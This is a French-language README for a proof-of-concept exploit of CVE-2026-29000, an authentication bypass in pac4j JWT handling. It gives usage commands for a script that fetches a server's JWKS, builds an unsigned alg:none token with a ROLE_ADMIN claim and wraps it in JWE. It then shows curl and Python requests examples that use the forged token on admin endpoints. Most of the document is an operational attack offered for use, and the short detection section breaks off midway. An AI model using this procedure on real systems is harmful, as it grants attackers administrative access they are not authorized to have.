CVE-2026-29000 : Preuve de concept de contournement d'authentification JWT pac4j

Preuve de concept pour CVE-2026-29000 - Une vulnérabilité critique de contournement d'authentification dans l'implémentation JWT de pac4j permettant aux attaquants de forger des jetons administrateur sans signature valide.

---

⚠️ AVERTISSEMENT

Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'auteur décline TOUTE responsabilité en cas d'utilisation abusive, de dommages ou d'utilisation illégale de cet exploit.

• L'accès non autorisé à des systèmes informatiques est ILLÉGAL dans la plupart des juridictions
• Les utilisateurs doivent obtenir une autorisation écrite explicite avant tout test
• L'auteur n'est PAS responsable des conséquences découlant d'une mauvaise utilisation de cet outil
• Il s'agit d'un outil de recherche en sécurité et éducatif - utilisez-le de manière éthique et légale

---

📋 Présentation de la vulnérabilité

Cette vulnérabilité exploite une faille dans le mécanisme d'authentification JWT de pac4j où la bibliothèque :

1. Accepte les jetons non signés avec alg: "none" dans l'en-tête JWT
2. Fait confiance aux jetons enveloppés JWE sans valider correctement la signature JWT interne
3. Autorise l'élévation de privilèges via des revendications personnalisées dans la charge utile non signée

Un attaquant peut créer un JWT non signé avec des revendications arbitraires (comme role: "ROLE_ADMIN"), le chiffrer dans un conteneur JWE en utilisant la clé publique du serveur, et obtenir un accès non autorisé à des fonctionnalités d'administration.

---

🎯 Prérequis pour une exploitation réussie

Prérequis côté serveur

Pour que cet exploit réussisse, le serveur cible doit satisfaire TOUTES les conditions suivantes :

1. Point d'accès JWKS accessible

Le serveur doit exposer ses clés publiques via l'un de ces points d'accès :

• /.well-known/jwks.json (point d'accès OAuth/OIDC standard)
• /api/auth/jwks (point d'accès personnalisé)

Pourquoi : L'exploit récupère automatiquement la clé publique du serveur pour chiffrer le jeton JWE falsifié.

2. Acceptation de la revendication de rôle JWT

Le serveur doit :

• Accepter et traiter une revendication role dans la charge utile JWT
• Avoir au moins un niveau de privilège accordant un accès élevé (par exemple, ROLE_ADMIN)
• Ne pas valider la signature JWT ni autoriser les jetons non signés

Rôles courants :

• ROLE_ADMIN - Accès administrateur complet
• ROLE_USER - Accès utilisateur standard
• Rôles personnalisés selon l'application

3. Traitement des jetons JWE

Le serveur doit :

• Accepter les jetons JWE (chiffrés) comme valides pour l'authentification
• Déchiffrer et traiter le JWT interne non signé
• Ne pas vérifier la signature du JWT interne ni vérifier l'algorithme

4. Configuration pac4j vulnérable

L'application doit utiliser pac4j avec :

• Algorithme défini sur "none" ou validation d'algorithme inadéquate
• Chiffrement JWE activé mais vérification de signature désactivée sur le JWT interne
• Aucune validation supplémentaire du jeton au-delà du déchiffrement JWE

---

🛠️ Installation

Prérequis

• Python 3.7+
• Paquets requis : requests, jwcrypto

Configuration

# Cloner le dépôt
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Installer les dépendances
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
jwcrypto>=1.4.0

---

🚀 Utilisation

Utilisation de base

python3 exploit.py <URL_CIBLE>

Exemple :

python3 exploit.py http://vulnerable-app.local:8080

Le script va :

1. Tenter de récupérer le JWKS depuis les points d'accès standards
2. Générer un JWT non signé avec role: "ROLE_ADMIN"
3. Le chiffrer en utilisant la clé publique du serveur
4. Afficher un jeton JWE prêt pour l'authentification

Options avancées

Nom d'utilisateur personnalisé

python3 exploit.py http://vulnerable-app.local:8080 --username john

Rôle personnalisé

python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

Fournir manuellement le JWKS

Si le point d'accès JWKS n'est pas accessible publiquement, fournissez le JWK manuellement :

python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

Exemple complet avec toutes les options

python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

---

📤 Utilisation du jeton généré

L'exploit produit un jeton JWE au format suivant :

Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

Effectuer des requêtes authentifiées

Utilisez le jeton dans les requêtes HTTP pour accéder aux points d'accès protégés :

# Avec curl
curl -H "Authorization: Bearer <JETON_JWE>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Avec Python requests
import requests
headers = {"Authorization": f"Bearer {jeton_jwe}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

Exemple de requête avec en-tête d'autorisation

curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

---

🔍 Comment fonctionne l'exploit

Étape 1 : Créer un JWT non signé

header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Nom d'utilisateur
    "role": "ROLE_ADMIN",        # Niveau de privilège
    "iss": "principal-platform", # Émetteur
    "iat": 1234567890,          # Émis à
    "exp": 1234571490           # Expiration (1 heure)
}

Le JWT est créé sans signature (alg: "none"), ce qui est normalement invalide mais accepté par les serveurs vulnérables.

Étape 2 : Récupérer le JWKS du serveur

L'exploit interroge :

1. /.well-known/jwks.json (standard OAuth/OIDC)
2. /api/auth/jwks (point d'accès personnalisé)

Cela récupère la clé publique RSA du serveur nécessaire au chiffrement.

Étape 3 : Chiffrer le JWT en tant que JWE

Le JWT non signé est chiffré en utilisant :

• Algorithme : RSA-OAEP-256 (chiffrement asymétrique)
• Chiffrement : A128GCM (chiffrement authentifié)
• Clé : Clé publique du serveur (empêche la falsification)

Cela crée un jeton JWE que le serveur peut déchiffrer mais dont il ne vérifiera pas la signature interne.

Étape 4 : Utiliser le jeton

Le jeton JWE est inclus dans l'en-tête Authorization :

Authorization: Bearer <JETON_JWE>

Le serveur vulnérable le déchiffre et extrait le JWT non signé, en faisant confiance aux revendications sans vérifier la signature.

---

🔐 Chaîne de vulnérabilité

JWT non signé (alg:none)
         ↓
  Enveloppé dans un JWE (avec la clé publique du serveur)
         ↓
  Le serveur reçoit le jeton JWE
         ↓
  Le serveur déchiffre le JWE
         ↓
  Extrait le JWT interne non signé
         ↓
  ❌ Le serveur NE vérifie PAS la signature
         ↓
  ✅ Accepte les revendications comme valides (role: ROLE_ADMIN)
         ↓
  L'attaquant a un accès administrateur !

---

⚠️ Détection et indicateurs

Indicateurs côté serveur de la vulnérabilité

1. Exposition du point d'accès JWKS

   • Vérifier si /.well-known/jwks.json ou /api/auth/jwks est accessible publiquement

2. Journaux de validation JWT

   • Rechercher les journaux acceptant des jetons avec alg: "none"
   • Avertissements concernant l'acceptation de jetons non signés

3. Examen de la configuration

   • Vérifier si la vérification de signature de pac4j est désactivée
   • Vérifier les paramètres de déchiffrement JWE

Indicateurs réseau